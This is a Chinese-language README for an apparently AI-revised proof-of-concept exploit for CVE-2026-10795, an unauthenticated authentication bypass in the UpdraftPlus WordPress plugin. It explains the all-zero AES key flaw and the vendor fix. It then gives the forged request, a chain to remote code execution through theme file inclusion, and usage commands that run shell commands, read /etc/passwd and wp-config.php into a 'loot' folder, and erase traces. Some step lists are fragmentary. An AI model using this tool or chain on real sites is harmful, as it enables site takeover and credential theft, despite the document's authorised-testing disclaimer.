
针对 CVE-2026-10795 的 AI 修订版 PoC——仅供教育目的使用——请在你自行拥有的实验环境中自行承担风险使用 ;)
一个单文件概念验证,针对 UpdraftPlus 中未认证的 udrpc 认证绕过,
该漏洞可导致管理员级别的命令执行。
[!WARNING] 仅限授权测试。 仅可针对你拥有或已获得明确书面许可进行测试的系统使用本工具。 在大多数司法管辖区,对第三方站点运行本工具均属违法行为,这并非本项目的用途。 作者对滥用或损害不承担任何责任。
| CVE | CVE-2026-10795 |
| 组件 | UpdraftPlus(WordPress 备份/恢复插件) |
| 受影响版本 | <= 1.26.4(Premium <= 2.26.4) |
| 修复版本 | 1.26.5 及更高版本(撰写本文时的当前版本:1.26.14) |
| 类别 | 认证绕过 → 远程代码执行 |
| CVSS 3.1 | 9.8 严重 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 认证要求 | 无 |
| 用户交互 | 无 |
| 前置条件 | 目标上存在有效的 UpdraftCentral 或 Migrator 密钥 |
该插件暴露了一个远程控制监听器(udrpc),供 UpdraftCentral 和 Migrator 使用。
在受影响版本中,该监听器接受旧版 格式 1 消息格式,该格式不携带签名,并使用
RSA 操作解密每条消息的 AES 密钥,而该操作的失败从未被检查。攻击者若提供无法解密的
密钥,即可获得一个已知的全零 AES 密钥,加密自己的命令,站点便会以绑定到该密钥的
用户身份执行该命令——通常是管理员。
本 PoC:
ping 命令,在无副作用的情况下证明绕过;git clone https://github.com/<your-org>/CVE-2026-10795.git
cd CVE-2026-10795
python3 -m pip install -r requirements.txt
# Read-only check: no writes, no posts, no files.
python3 cve-2026-10795.py -u https://target.example -k --max-keys 2 --verbose
一个存在漏洞的目标返回加密的 udrpc 回复,工具会打印:
0.central.updraftplus.com: HTTP 200, 976 bytes -> vulnerable
[+] VULNERABLE: authentication bypass succeeded (CVE-2026-10795).
修补后的目标会拒绝该消息:
0.central.updraftplus.com: HTTP 200, 0 bytes -> blocked
[-] Key name is valid, but the forged message was rejected.
This normally means the plugin is patched (>= 1.26.5).
decrypt_message() 将攻击者提供的 blob 拆分为 RSA 包装的对称密钥
和 AES 密文,然后解密该密钥并立即使用结果:
// class-udrpc2.php (1.25.9), decrypt_message()
$rsa->loadKey($this->key_local);
$sym_key = base64_decode($sym_key);
$sym_key = $rsa->decrypt($sym_key); // returns false on malformed input
$rij->setKey($sym_key); // false -> zero-length / all-zero key
return $rij->decrypt($ciphertext);
当 RSA 操作失败时,phpseclib 会返回 false。将 false 传入
Crypt_Rijndael::setKey() 会生成一个全零的 AES-128 密钥,而不是报错。因此,
攻击者能够知道将用于解密其自身载荷的密钥。
厂商的修复方案在使用密钥之前增加了类型和长度检查:
$sym_key = $rsa->decrypt($sym_key);
if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
return false;
}
格式 2 使用站点的公钥对每条消息进行签名。格式 1 早于该机制,处理时不进行任何签名验证,因此不需要任何密钥材料:
POST / HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
format=1&key_name=0.central.updraftplus.com&udrpc_message=<encrypted command>
1.26.5 中的修复将格式 1 限制为仍然需要它的四个 Migrator 命令, 并且仅适用于与 Migrator 模式匹配的键名:
// Restrict use of format 1
if ($format < 2 && (!in_array($command, array('ping', 'get_file_status', 'send_chunk', 'upload_complete'))
|| !preg_match('/^([a-f0-9]+)\.migrator\.updraftplus\.com$/', $this->key_name_indicator))) {
$this->log("Obsolete format used - dropping (command: $command)", 'error');
die;
}
绕过本身只是一个身份验证绕过。它能变成代码执行,是因为 UpdraftCentral 的命令模块暴露了两个原语:
| 原语 | 文件 | 它允许做什么 |
|---|---|---|
comments.update_settings | central/modules/comments.php | 对任意传入的键调用 update_option() —— 包括 upload_path 和 stylesheet。 |
posts.save → attach_remote_image() | central/modules/posts.php | 在任何文件类型检查之前,将攻击者提供的字节写入 wp_upload_dir()['path'] . '/' . basename($url)。 |
在 1.26.14 中,这两个原语都不验证其输入,而厂商针对此 CVE 的修复 并未改变这一点。它们作为纵深防御缺口记录在随附的评估 报告中,因为任何未来的身份验证绕过——或任何被盗的 UpdraftCentral 密钥—— 都会重新启用同一条链。
[!NOTE] 不可写的 webroot 并不能阻止这一点。写入会被重定向到
/tmp、/var/tmp、/dev/shm或wp-content/uploads,而包含操作会通过 未经验证的stylesheet选项被重定向。open_basedir通常是唯一能阻止它的控制措施。
flowchart TD
A["POST / with format=1<br/>udrpc_message encrypted with<br/>the all-zero AES key"] --> B{"Audio listener<br/>dispatches command"}
B --> C["comments.update_settings<br/>upload_path = /tmp/udc<token>"]
C --> D["posts.save<br/>attach_remote_image() writes<br/>/tmp/udc<token>/functions.php"]
D --> E["comments.update_settings<br/>stylesheet = ../../../../tmp/udc<token>"]
E --> F["GET /?udc_probe=<token><br/>WordPress includes the payload"]
F --> G["Arbitrary command execution<br/>as www-data"]
G --> H["Payload restores options,<br/>deletes its posts/attachments<br/>and removes its files"]
逐步说明:
ping 被接受;回复使用站点的密钥加密,
这确认了监听器已处理该请求。upload_path 被指向临时目录,并且
uploads_use_yearmonth_folders 被禁用。posts.save 通过特色图片路径写入 functions.php。stylesheet 被移动(一个遍历路径);template 仍指向
真实主题,因此普通访客看到的是正常站点。python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
requirements.txt:
cryptography>=41
pycryptodome 也受支持,并且在 cryptography 缺失时会自动使用。
该工具的其余部分仅依赖标准库——没有 HTTP 框架、没有字典文件、没有
外部服务。
验证安装:
python3 cve-2026-10795.py --help
python3 cve-2026-10795.py -u https://target.example -k --max-keys 5
0.central.updraftplus.com 到 4.central.updraftplus.com。ping。-k 禁用 TLS 验证(在评估期间对过期或自签名证书很有用)。切勿在生产监控中保持启用。已经知道密钥名称?跳过枚举:
python3 cve-2026-10795.py -u https://target.example -k \
--key-name 0.central.updraftplus.com
python3 cve-2026-10795.py -u https://target.example -k \
--theme-rce \
--exec whoami \
--exec id \
--read-file /etc/passwd \
--read-file wp-config.php \
--out-dir ./loot
[+] bypass confirmed, using key: 0.central.updraftplus.com
[*] active theme: Xtra/xtra
[*] probe token : 9f2c41d0a7b3e815
...
[cmd] whoami
exit=0
www-data
[cmd] id
exit=0
uid=33(www-data) gid=33(www-data) groups=33(www-data)
注意:
--read-file 接受绝对路径或相对于 ABSPATH(wp-config.php)的路径。--read-file 和 --exec;结果会在一次响应中返回。--out-dir 以 0600 模式写入每个文件,并且在与 --no-print 组合使用时绝不打印敏感信息。wp-config.php 时会自动打印一份脱敏摘要(数据库名/主机、表前缀、盐值数量、密码长度),而不是原始值。/ 结尾的路径。当命令执行失败时,--chain 会隔离出失败的阶段:
python3 cve-2026-10795.py -u https://target.example -k --chain